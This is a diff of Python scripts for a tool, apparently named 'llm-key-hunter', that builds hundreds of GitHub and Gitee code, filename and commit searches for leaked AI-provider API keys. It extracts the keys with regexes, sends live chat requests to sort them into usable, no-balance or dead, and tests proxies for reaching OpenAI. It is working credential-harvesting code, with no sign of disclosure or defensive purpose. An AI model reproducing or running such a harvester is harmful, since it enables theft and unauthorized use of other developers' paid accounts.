"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
||||
"body": '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
},
|
||||
"ZhipuAI": {
|
||||
"url": "https://open.bigmodel.cn/api/paas/v4/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"TogetherAI": {
|
||||
"url": "https://api.together.xyz/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"meta-llama/Llama-3.2-3B-Instruct-Turbo","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"LingyiWanwu": {
|
||||
"url": "https://api.lingyiwanwu.com/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"yi-large","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"StepFun": {
|
||||
"url": "https://api.stepfun.com/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"step-1-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"SiliconFlow": {
|
||||
"url": "https://api.siliconflow.cn/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"Qwen/Qwen2.5-7B-Instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"HuggingFace": {
|
||||
"url": "https://huggingface.co/api/whoami-v2",
|
||||
"headers": {"Authorization": "Bearer {key}"},
|
||||
"body": None,
|
||||
},
|
||||
"OllamaCloud": {
|
||||
"url": "https://api.ollama.com/api/chat",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"gemma4:31b","messages":[{"role":"user","content":"hi"}],"stream":false}',
|
||||
},
|
||||
"LongCat": {
|
||||
"url": "https://api.longcat.chat/openai/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"MiniMax": {
|
||||
"url": "https://api.minimaxi.com/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"FreeModel": {
|
||||
"url": "https://cc.freemodel.dev/v1/messages",
|
||||
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
||||
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
"fallback": {
|
||||
"url": "https://api.freemodel.dev/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
},
|
||||
"XKiro": {
|
||||
"url": "https://api.xkiro.com/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"anthropic/claude-sonnet-4-5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def _http_request(url, headers, body):
|
||||
"""Send an HTTP request and return (status_code, response_body)."""
|
||||
data = body.encode() if body else None
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method="POST" if body else "GET")
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code, e.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return 0, ""
|
||||
|
||||
|
||||
def deep_verify(provider, key):
|
||||
"""Send actual chat completion, return USABLE/NO_BALANCE/NO_ACCESS/DEAD."""
|
||||
if provider not in DEEP_CONFIGS:
|
||||
return "SKIP"
|
||||
|
||||
cfg = DEEP_CONFIGS[provider]
|
||||
url = cfg["url"].replace("{key}", key)
|
||||
headers = {hname: hval.replace("{key}", key) for hname, hval in cfg["headers"].items()}
|
||||
|
||||
code, body = _http_request(url, headers, cfg.get("body"))
|
||||
|
||||
# Check for fallback (VolcanoArk coding plan, FreeModel)
|
||||
if code != 200 and "fallback" in cfg:
|
||||
fcfg = cfg["fallback"]
|
||||
furl = fcfg["url"].replace("{key}", key)
|
||||
fheaders = {hname: hval.replace("{key}", key) for hname, hval in fcfg["headers"].items()}
|
||||
code, body = _http_request(furl, fheaders, fcfg.get("body"))
|
||||
|
||||
if code == 200:
|
||||
bl = body.lower()
|
||||
if "error" in bl and ("balance" in bl or "quota" in bl or "arrearage" in bl):
|
||||
return "NO_BALANCE"
|
||||
return "USABLE"
|
||||
elif code in ("402", "429"):
|
||||
return "NO_BALANCE"
|
||||
elif code == 404:
|
||||
if "invalid" in body.lower() or "unauthorized" in body.lower():
|
||||
return "DEAD"
|
||||
return "NO_ACCESS"
|
||||
elif code in (401, 403):
|
||||
return "DEAD"
|
||||
elif code == 400:
|
||||
bl = body.lower()
|
||||
if any(x in bl for x in ["arrearage", "insufficient", "balance", "overdue", "payment"]):
|
||||
return "NO_BALANCE"
|
||||
elif any(x in bl for x in ["suspended", "limit", "quota", "rate"]):
|
||||
return "NO_BALANCE"
|
||||
else:
|
||||
return "NO_ACCESS"
|
||||
else:
|
||||
return "UNKNOWN" if code else "DEAD"
|
||||
|
||||
|
||||
def main():
|
||||
# ── Combine old + new live keys ──────────────────────────
|
||||
all_keys = {} # (provider, key) -> (url, desc)
|
||||
|
||||
for filepath in [OLD_LIVE, NEW_LIVE]:
|
||||
if not filepath.exists():
|
||||
continue
|
||||
with open(filepath) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
parts = line.split("|")
|
||||
if parts[0] == "LIVE" and len(parts) >= 4:
|
||||
provider, key, url = parts[1], parts[2], parts[3]
|
||||
desc = parts[4] if len(parts) > 4 else ""
|
||||
elif len(parts) >= 3:
|
||||
provider, key, url = parts[0], parts[1], parts[2]
|
||||
desc = parts[3] if len(parts) > 3 else ""
|
||||
else:
|
||||
continue
|
||||
|
||||
if not provider or not key:
|
||||
continue
|
||||
# Filter out obvious fake/mock keys
|
||||
if any(x in key.lower() for x in ["mock", "xxxx", "your-", "example", "test-key", "placeholder"]):
|
||||
continue
|
||||
# Filter OpenRouter (all dead, public models endpoint)
|
||||
if provider == "OpenRouter":
|
||||
continue
|
||||
|
||||
k = (provider, key)
|
||||
if k not in all_keys:
|
||||
all_keys[k] = (url, desc)
|
||||
|
||||
print(f"Combined live keys: {len(all_keys)} (filtered fakes + OpenRouter)")
|
||||
|
||||
# Write combined
|
||||
with open(COMBINED_LIVE, "w") as f:
|
||||
for (provider, key), (url, desc) in sorted(all_keys.items()):
|
||||
f.write(f"LIVE|{provider}|{key}|{url}|{desc}\n")
|
||||
|
||||
# Summary by provider
|
||||
by_provider = defaultdict(int)
|
||||
for (provider, key) in all_keys:
|
||||
by_provider[provider] += 1
|
||||
print("\nBy provider:")
|
||||
for p in sorted(by_provider):
|
||||
print(f" {p:20s}: {by_provider[p]}")
|
||||
|
||||
# ── Deep verify ──────────────────────────────────────────
|
||||
to_verify = [(p, k, u, d) for (p, k), (u, d) in all_keys.items() if p in DEEP_CONFIGS]
|
||||
print(f"\nDeep verifying {len(to_verify)} keys...")
|
||||
|
||||
results = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "DEAD": [], "SKIP": [], "UNKNOWN": []}
|
||||
processed = 0
|
||||
start = time.time()
|
||||
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futures = {pool.submit(deep_verify, p, k): (p, k, u, d) for p, k, u, d in to_verify}
|
||||
|
||||
for future in as_completed(futures):
|
||||
p, k, u, d = futures[future]
|
||||
processed += 1
|
||||
try:
|
||||
result = future.result()
|
||||
except Exception:
|
||||
result = "DEAD"
|
||||
|
||||
results[result].append((p, k, u, d))
|
||||
|
||||
if processed % 50 == 0:
|
||||
elapsed = time.time() - start
|
||||
print(f" [{processed}/{len(to_verify)}] usable={len(results['USABLE'])} "
|
||||
f"nobal={len(results['NO_BALANCE'])} dead={len(results['DEAD'])} "
|
||||
f"({processed/elapsed:.0f}/s)")
|
||||
|
||||
elapsed = time.time() - start
|
||||
print(f"\nDone in {elapsed:.1f}s")
|
||||
print(f" USABLE: {len(results['USABLE'])}")
|
||||
print(f" NO_BALANCE: {len(results['NO_BALANCE'])}")
|
||||
print(f" NO_ACCESS: {len(results['NO_ACCESS'])}")
|
||||
print(f" DEAD: {len(results['DEAD'])}")
|
||||
print(f" SKIP: {len(results['SKIP'])}")
|
||||
print(f" UNKNOWN: {len(results['UNKNOWN'])}")
|
||||
|
||||
# Write results
|
||||
for category, filepath in [
|
||||
("USABLE", DEEP_USABLE),
|
||||
("NO_BALANCE", DEEP_NOBAL),
|
||||
("NO_ACCESS", DEEP_NOACC),
|
||||
("DEAD", DEEP_DEAD),
|
||||
]:
|
||||
with open(filepath, "w") as f:
|
||||
for p, k, u, d in sorted(results[category]):
|
||||
f.write(f"{p}|{k}|{u}|{d}\n")
|
||||
|
||||
# Print usable keys by provider
|
||||
print("\n=== USABLE keys by provider ===")
|
||||
usable_by_provider = defaultdict(int)
|
||||
for p, k, u, d in results["USABLE"]:
|
||||
usable_by_provider[p] += 1
|
||||
for p in sorted(usable_by_provider):
|
||||
print(f" {p:20s}: {usable_by_provider[p]}")
|
||||
|
||||
print(f"\nUsable keys written to: {DEEP_USABLE}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,115 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Extract LLM API keys from candidate files — Python version (reliable)."""
|
||||
|
||||
import json
|
||||
import re
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
RESULTS_DIR = Path(__file__).parent / "results"
|
||||
CANDIDATES_FILE = RESULTS_DIR / "candidates.json"
|
||||
PATTERNS_FILE = Path(__file__).parent / "patterns.conf"
|
||||
OUTPUT_FILE = RESULTS_DIR / "extracted_keys.txt"
|
||||
UNIQUE_FILE = RESULTS_DIR / "unique_keys.txt"
|
||||
|
||||
# Load patterns
|
||||
patterns = []
|
||||
with open(PATTERNS_FILE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parts = line.split("|", 2)
|
||||
if len(parts) == 3:
|
||||
provider, regex, desc = parts
|
||||
try:
|
||||
patterns.append((provider, re.compile(regex), desc))
|
||||
except re.error:
|
||||
pass
|
||||
|
||||
print(f"Loaded {len(patterns)} regex patterns")
|
||||
|
||||
# Load candidates
|
||||
with open(CANDIDATES_FILE) as f:
|
||||
candidates = json.load(f)
|
||||
|
||||
print(f"Loaded {len(candidates)} candidate files")
|
||||
|
||||
|
||||
def to_raw_url(url):
|
||||
"""Convert GitHub/Gitee URL to raw content URL."""
|
||||
if "github.com" in url:
|
||||
return url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
elif "gitee.com" in url:
|
||||
# Gitee raw URL format: https://gitee.com/user/repo/raw/branch/path
|
||||
return url.replace("/blob/", "/raw/")
|
||||
return url
|
||||
|
||||
|
||||
def fetch_url(url):
|
||||
"""Fetch URL content using urllib (no subprocess overhead)."""
|
||||
raw_url = to_raw_url(url)
|
||||
req = urllib.request.Request(raw_url, headers={"User-Agent": "Mozilla/5.0"})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=10) as resp:
|
||||
return url, resp.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return url, ""
|
||||
|
||||
|
||||
def extract_from_content(url, content):
|
||||
"""Extract API keys from content using loaded regex patterns."""
|
||||
found = []
|
||||
for provider, regex, desc in patterns:
|
||||
for match in regex.finditer(content):
|
||||
key = match.group()
|
||||
if len(key) < 10:
|
||||
continue
|
||||
found.append(f"{provider}|{key}|{url}|{desc}")
|
||||
return found
|
||||
|
||||
|
||||
# Process with thread pool
|
||||
all_keys = set()
|
||||
processed = 0
|
||||
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futures = {pool.submit(fetch_url, c["url"]): c["url"] for c in candidates}
|
||||
|
||||
for future in as_completed(futures):
|
||||
url = futures[future]
|
||||
processed += 1
|
||||
|
||||
try:
|
||||
_, content = future.result()
|
||||
except Exception:
|
||||
content = ""
|
||||
|
||||
if content:
|
||||
keys = extract_from_content(url, content)
|
||||
all_keys.update(keys)
|
||||
|
||||
if processed % 500 == 0:
|
||||
print(f" Processed {processed}/{len(candidates)} — {len(all_keys)} unique keys so far")
|
||||
|
||||
print(f"\nDone: {processed} files processed, {len(all_keys)} unique keys found")
|
||||
|
||||
# Write output
|
||||
with open(OUTPUT_FILE, "w") as f:
|
||||
for k in sorted(all_keys):
|
||||
f.write(k + "\n")
|
||||
|
||||
# Also write unique keys (just provider|key)
|
||||
unique_keys = set()
|
||||
for k in all_keys:
|
||||
parts = k.split("|")
|
||||
if len(parts) >= 2:
|
||||
unique_keys.add(f"{parts[0]}|{parts[1]}")
|
||||
|
||||
with open(UNIQUE_FILE, "w") as f:
|
||||
for k in sorted(unique_keys):
|
||||
f.write(k + "\n")
|
||||
|
||||
print(f"Written: {OUTPUT_FILE} ({len(all_keys)} lines)")
|
||||
print(f"Written: {UNIQUE_FILE} ({len(unique_keys)} lines)")
|
||||
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Find a CN HTTP proxy that can reach api.openai.com."""
|
||||
import urllib.request, threading, re
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
PROXIES_FILE = Path(__file__).parent / "results/proxies/elite.txt"
|
||||
TARGET = "https://api.openai.com/v1/models"
|
||||
|
||||
def parse_line(line):
|
||||
# format: ip:portlatencyms[elite?]
|
||||
m = re.match(r"(\d+\.\d+\.\d+\.\d+:\d+)", line.strip())
|
||||
return m.group(1) if m else None
|
||||
|
||||
def test(px):
|
||||
proxy = urllib.request.ProxyHandler({"http": f"http://{px}", "https": f"http://{px}"})
|
||||
opener = urllib.request.build_opener(proxy)
|
||||
opener.addheaders = [
|
||||
("User-Agent", "curl/8.5.0"),
|
||||
("Authorization", "Bearer sk-invalid-test"),
|
||||
]
|
||||
try:
|
||||
r = opener.open(TARGET, timeout=12)
|
||||
return px, r.getcode(), None
|
||||
except urllib.error.HTTPError as e:
|
||||
# 401 means we reached OpenAI — that's a WIN
|
||||
return px, e.code, None
|
||||
except Exception as e:
|
||||
return px, 0, f"{type(e).__name__}: {str(e)[:80]}"
|
||||
|
||||
def main():
|
||||
px_list = []
|
||||
for line in PROXIES_FILE.read_text().splitlines():
|
||||
p = parse_line(line)
|
||||
if p: px_list.append(p)
|
||||
print(f"testing {len(px_list)} proxies for OpenAI reachability...", flush=True)
|
||||
|
||||
hits = []
|
||||
with ThreadPoolExecutor(max_workers=40) as pool:
|
||||
futs = [pool.submit(test, p) for p in px_list]
|
||||
for f in as_completed(futs):
|
||||
px, code, err = f.result()
|
||||
if code in (200, 401, 403, 400, 429, 404):
|
||||
hits.append((px, code))
|
||||
print(f" ✓ {px} -> HTTP {code}", flush=True)
|
||||
print(f"\n{len(hits)} proxies reached OpenAI:")
|
||||
for px, code in hits:
|
||||
print(f" http://{px} ({code})")
|
||||
# save best list
|
||||
out = Path(__file__).parent / "results/proxies/openai_capable.txt"
|
||||
out.write_text("\n".join(f"http://{px}" for px, _ in hits) + "\n")
|
||||
print(f"saved -> {out}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,555 @@
|
||||
#!/usr/bin/env python3
|
||||
"""GitHub search engine for LLM API key leaks.
|
||||
|
||||
Replaces the bash-based broad search with a Python module:
|
||||
- 300+ search queries (code + filename + commit search)
|
||||
- Smart rate-limit handling (reads X-RateLimit headers, dynamic backoff)
|
||||
- Multi-token rotation for higher throughput
|
||||
- Topic-based repo discovery
|
||||
- Gitee (Chinese GitHub mirror) search support
|
||||
|
||||
Output: candidates.json — same format as the bash version:
|
||||
[{"repository": {"full_name": "..."}, "path": "...", "url": "..."}]
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
RESULTS_DIR = Path(__file__).parent / "results"
|
||||
CANDIDATES_FILE = RESULTS_DIR / "candidates.json"
|
||||
|
||||
# ── High-signal key prefixes ────────────────────────────────────
|
||||
KEY_PREFIXES = [
|
||||
"sk-proj-", "sk-ant-", "AIza", "hf_", "gsk_", "r8_",
|
||||
"sk-or-", "pplx-", "sk-cp-", "sk-sp-", "sk-tp-", "sk-zy-",
|
||||
"fe_oa_", "ak_", "sk-xt-",
|
||||
]
|
||||
|
||||
# ── Env var names by provider ───────────────────────────────────
|
||||
ENV_VARS = [
|
||||
"OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY", "GEMINI_API_KEY",
|
||||
"HUGGINGFACE_TOKEN", "HUGGINGFACE_API_TOKEN", "GROQ_API_KEY",
|
||||
"REPLICATE_API_TOKEN", "TOGETHER_API_KEY", "DEEPSEEK_API_KEY",
|
||||
"OPENROUTER_API_KEY", "PERPLEXITY_API_KEY", "MISTRAL_API_KEY",
|
||||
"COHERE_API_KEY", "AZURE_OPENAI_API_KEY",
|
||||
# China
|
||||
"ARK_API_KEY", "VOLC_API_KEY", "VOLCENGINE_API_KEY",
|
||||
"ZHIPUAI_API_KEY", "GLM_API_KEY", "CHATGLM_API_KEY",
|
||||
"DASHSCOPE_API_KEY", "ALIBABA_API_KEY",
|
||||
"MOONSHOT_API_KEY", "KIMI_API_KEY",
|
||||
"MINIMAX_API_KEY", "HUNYUAN_API_KEY", "TENCENT_API_KEY",
|
||||
"QIANFAN_API_KEY", "BAIDU_API_KEY",
|
||||
"SPARK_API_KEY", "IFLYTEK_API_KEY", "ASTRON_API_KEY",
|
||||
"LINGYIWANWU_API_KEY", "YI_API_KEY",
|
||||
"STEPFUN_API_KEY", "SILICONFLOW_API_KEY",
|
||||
"CSDN_API_KEY", "CSDN_CODING_PLAN_KEY", "STARMAP_API_KEY",
|
||||
"HUAWEI_API_KEY", "HUAWEICLOUD_API_KEY", "CODEARTS_API_KEY",
|
||||
"MIMO_API_KEY", "XIAOMI_API_KEY", "INFINI_API_KEY", "INFINIAI_API_KEY",
|
||||
"JD_API_KEY", "JDCLOUD_API_KEY", "MTHREADS_API_KEY",
|
||||
"KWAIKAT_API_KEY", "KUAISHOU_API_KEY", "STREAMLAKE_API_KEY",
|
||||
"UCLOUD_API_KEY", "COMPSHARE_API_KEY", "ANOMALY_API_KEY",
|
||||
"OPENCODE_GO_KEY", "UNICOM_API_KEY", "CUCLOUD_API_KEY", "YUANJING_API_KEY",
|
||||
"SCNET_API_KEY", "ALIBABA_CODING_PLAN_KEY",
|
||||
"ZYLOO_API_KEY", "ZYLOO_KEY", "FREEMODEL_API_KEY", "FREEMODEL_KEY",
|
||||
"OLLAMA_API_KEY", "XKIRO_API_KEY", "XKIRO_KEY",
|
||||
]
|
||||
|
||||
# ── API endpoint URLs (search for these in code = likely key nearby) ──
|
||||
ENDPOINT_URLS = [
|
||||
"api.openai.com", "api.anthropic.com", "generativelanguage.googleapis.com",
|
||||
"huggingface.co", "api.groq.com", "api.replicate.com", "api.together.xyz",
|
||||
"api.deepseek.com", "openrouter.ai", "api.perplexity.ai",
|
||||
"ark.cn-beijing.volces.com", "open.bigmodel.cn",
|
||||
"dashscope.aliyuncs.com", "api.moonshot.cn", "api.minimaxi.com",
|
||||
"api.hunyuan.cloud.tencent.com", "qianfan.baidubce.com",
|
||||
"spark-api.xf-yun.com", "maas-coding-api.xf-yun.com",
|
||||
"api.lingyiwanwu.com", "api.stepfun.com", "api.siliconflow.cn",
|
||||
"ai.csdn.net", "api.xiaomimimo.com", "cloud.infini-ai.com",
|
||||
"code.mthreads.com", "streamlake.com", "compshare.cn",
|
||||
"opencode.ai", "cucloud.cn", "scnet.cn",
|
||||
"coding.dashscope.aliyuncs.com", "api.zyloo.io",
|
||||
"freemodel.dev", "cc.freemodel.dev", "api.ollama.com",
|
||||
"api.longcat.chat", "api.xkiro.com",
|
||||
]
|
||||
|
||||
# ── Model names (search for these = key assignment often nearby) ──
|
||||
MODEL_NAMES = [
|
||||
"gpt-4o", "gpt-4o-mini", "claude-sonnet-4", "claude-opus-4",
|
||||
"gemini-1.5-flash", "gemini-2.0-flash",
|
||||
"doubao-seed-2-0-pro", "glm-4-flash", "glm-5",
|
||||
"qwen-plus", "moonshot-v1", "MiniMax-M2.5",
|
||||
"deepseek-chat", "deepseek-v4-pro",
|
||||
"yi-large", "step-1-flash", "LongCat-2.0",
|
||||
"astron-code-latest", "glm_for_coding",
|
||||
"anthropic/claude-sonnet-4-5", "anthropic/claude-opus-4-5",
|
||||
]
|
||||
|
||||
# ── File extensions to search ───────────────────────────────────
|
||||
EXTENSIONS = [
|
||||
"env", "py", "js", "ts", "sh", "cfg", "ini", "ipynb",
|
||||
"yaml", "yml", "json", "toml", "tf", "rb", "go", "rs",
|
||||
"java", "kt", "php", "lua",
|
||||
]
|
||||
|
||||
# ── Special filenames to search (high-value targets) ────────────
|
||||
HOT_FILENAMES = [
|
||||
".env", ".env.local", ".env.production", ".env.development",
|
||||
"config.json", "config.yaml", "config.yml",
|
||||
"secrets.yaml", "secrets.json", "secrets.toml",
|
||||
"api_keys.txt", "api_keys.json", "keys.json",
|
||||
"credentials.json", "credentials.yaml",
|
||||
"settings.json", "settings.yaml",
|
||||
"application.yml", "application.properties",
|
||||
"docker-compose.yml", "docker-compose.yaml",
|
||||
]
|
||||
|
||||
# ── GitHub topics to discover repos for targeted scanning ───────
|
||||
GH_TOPICS = [
|
||||
"openai", "anthropic", "llm", "chatgpt", "gpt",
|
||||
"claude", "gemini", "ai-api", "language-model",
|
||||
"chatbot", "ai-agent", "rag", "langchain",
|
||||
"dashscope", "qwen", "chatglm", "zhipu",
|
||||
"doubao", "kimi", "moonshot", "minimax",
|
||||
"deepseek", "spark-llm", "iflytek",
|
||||
]
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
# Query Generation
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
|
||||
def gen_code_queries():
|
||||
"""Generate GitHub code search queries.
|
||||
|
||||
Strategy:
|
||||
1. Key prefix + extension (high signal, catches raw keys in code)
|
||||
2. Env var name + extension (catches assignments like OPENAI_API_KEY=sk-...)
|
||||
3. Endpoint URL + extension (catches config near API calls)
|
||||
4. Model name + extension (catches config near model usage)
|
||||
"""
|
||||
queries = []
|
||||
|
||||
# 1. Key prefix searches — only in code-like files
|
||||
code_exts = ["env", "py", "js", "ts", "sh", "cfg", "ini", "ipynb",
|
||||
"yaml", "yml", "json", "toml", "tf", "go", "rs", "rb"]
|
||||
for prefix in KEY_PREFIXES:
|
||||
for ext in code_exts:
|
||||
queries.append(f"{prefix} extension:{ext}")
|
||||
|
||||
# 2. Env var searches — in all file types
|
||||
all_exts = code_exts + ["lua", "java", "kt", "php"]
|
||||
for var in ENV_VARS:
|
||||
for ext in all_exts:
|
||||
queries.append(f"{var} extension:{ext}")
|
||||
|
||||
# 3. Endpoint URL searches — in code files
|
||||
for url in ENDPOINT_URLS:
|
||||
for ext in ["py", "js", "ts", "env", "yaml", "yml", "json", "toml", "ipynb"]:
|
||||
queries.append(f"{url} extension:{ext}")
|
||||
|
||||
# 4. Model name searches — in config/code files
|
||||
for model in MODEL_NAMES:
|
||||
for ext in ["py", "js", "ts", "env", "yaml", "yml", "json", "ipynb"]:
|
||||
queries.append(f"{model} extension:{ext}")
|
||||
|
||||
# 5. Language-specific patterns
|
||||
# process.env in JS/TS
|
||||
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
|
||||
"GROQ_API_KEY", "HUGGINGFACE_TOKEN", "DEEPSEEK_API_KEY"]:
|
||||
queries.append(f"process.env.{var} extension:js")
|
||||
queries.append(f"process.env.{var} extension:ts")
|
||||
|
||||
# os.environ in Python
|
||||
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
|
||||
"GROQ_API_KEY", "DEEPSEEK_API_KEY", "DASHSCOPE_API_KEY",
|
||||
"ARK_API_KEY", "ZHIPUAI_API_KEY"]:
|
||||
queries.append(f"os.environ {var} extension:py")
|
||||
queries.append(f"os.getenv {var} extension:py")
|
||||
|
||||
# Dockerfile ENV patterns
|
||||
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
|
||||
"GROQ_API_KEY", "DEEPSEEK_API_KEY", "ARK_API_KEY",
|
||||
"DASHSCOPE_API_KEY", "ZHIPUAI_API_KEY"]:
|
||||
queries.append(f"ENV {var} extension:Dockerfile")
|
||||
queries.append(f"ARG {var} extension:Dockerfile")
|
||||
|
||||
# CI/CD secret patterns
|
||||
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
|
||||
"DEEPSEEK_API_KEY", "ARK_API_KEY"]:
|
||||
queries.append(f"secrets.{var} extension:yml")
|
||||
queries.append(f"secrets.{var} extension:yaml")
|
||||
|
||||
return queries
|
||||
|
||||
|
||||
def gen_filename_queries():
|
||||
"""Generate filename-based searches — find high-value config files."""
|
||||
queries = []
|
||||
for fname in HOT_FILENAMES:
|
||||
# Search for the filename itself — these files often contain keys
|
||||
queries.append(f"filename:{fname}")
|
||||
return queries
|
||||
|
||||
|
||||
def gen_commit_queries():
|
||||
"""Generate commit message search queries.
|
||||
|
||||
Keys are sometimes accidentally committed in commit messages.
|
||||
Uses search/commits API.
|
||||
"""
|
||||
queries = []
|
||||
for prefix in KEY_PREFIXES:
|
||||
queries.append(prefix)
|
||||
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
|
||||
"DEEPSEEK_API_KEY", "ARK_API_KEY", "DASHSCOPE_API_KEY"]:
|
||||
queries.append(var)
|
||||
return queries
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
# GitHub API Client
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
|
||||
class GitHubSearcher:
|
||||
"""GitHub search client with rate-limit awareness and token rotation."""
|
||||
|
||||
def __init__(self, tokens=None, per_page=100, verbose=True):
|
||||
self.tokens = tokens or [os.environ.get("GH_TOKEN", "")]
|
||||
self.tokens = [t for t in self.tokens if t]
|
||||
if not self.tokens:
|
||||
print("ERROR: No GitHub tokens provided. Set GH_TOKEN env var or use --token.")
|
||||
sys.exit(1)
|
||||
self._token_idx = 0
|
||||
self.per_page = per_page
|
||||
self.verbose = verbose
|
||||
self._rate_remaining = 30
|
||||
self._rate_reset = 0
|
||||
|
||||
def _next_token(self):
|
||||
"""Rotate to the next token."""
|
||||
self._token_idx = (self._token_idx + 1) % len(self.tokens)
|
||||
return self.tokens[self._token_idx]
|
||||
|
||||
def _current_token(self):
|
||||
return self.tokens[self._token_idx]
|
||||
|
||||
def _api(self, endpoint, params=None):
|
||||
"""Call GitHub API with rate-limit handling and token rotation.
|
||||
|
||||
Returns (data, error). On rate limit, waits and retries.
|
||||
"""
|
||||
import urllib.parse
|
||||
url = f"https://api.github.com/{endpoint}"
|
||||
if params:
|
||||
url += "?" + urllib.parse.urlencode(params)
|
||||
|
||||
for attempt in range(len(self.tokens) * 2):
|
||||
token = self._current_token()
|
||||
req = urllib.request.Request(url, headers={
|
||||
"Authorization": f"token {token}",
|
||||
"Accept": "application/vnd.github+json",
|
||||
"User-Agent": "llm-key-hunter/2.0",
|
||||
})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=30) as resp:
|
||||
# Track rate limit from headers
|
||||
remaining = resp.headers.get("X-RateLimit-Remaining")
|
||||
reset = resp.headers.get("X-RateLimit-Reset")
|
||||
if remaining:
|
||||
self._rate_remaining = int(remaining)
|
||||
if reset:
|
||||
self._rate_reset = int(reset)
|
||||
return json.loads(resp.read()), None
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code == 403:
|
||||
# Rate limited or forbidden
|
||||
remaining = e.headers.get("X-RateLimit-Remaining", "0")
|
||||
reset = e.headers.get("X-RateLimit-Reset", "0")
|
||||
if remaining == "0" and reset:
|
||||
wait = int(reset) - int(time.time()) + 2
|
||||
if wait > 0 and wait < 3600:
|
||||
if self.verbose:
|
||||
print(f" [rate-limit] Waiting {wait}s for reset...")
|
||||
time.sleep(wait)
|
||||
continue
|
||||
# Try rotating token
|
||||
self._next_token()
|
||||
continue
|
||||
elif e.code == 422:
|
||||
# Unprocessable — bad query, skip
|
||||
return None, f"422: {e.read()[:200]}"
|
||||
else:
|
||||
return None, f"HTTP {e.code}"
|
||||
except Exception as e:
|
||||
return None, str(e)
|
||||
|
||||
return None, "Exhausted all tokens + retries"
|
||||
|
||||
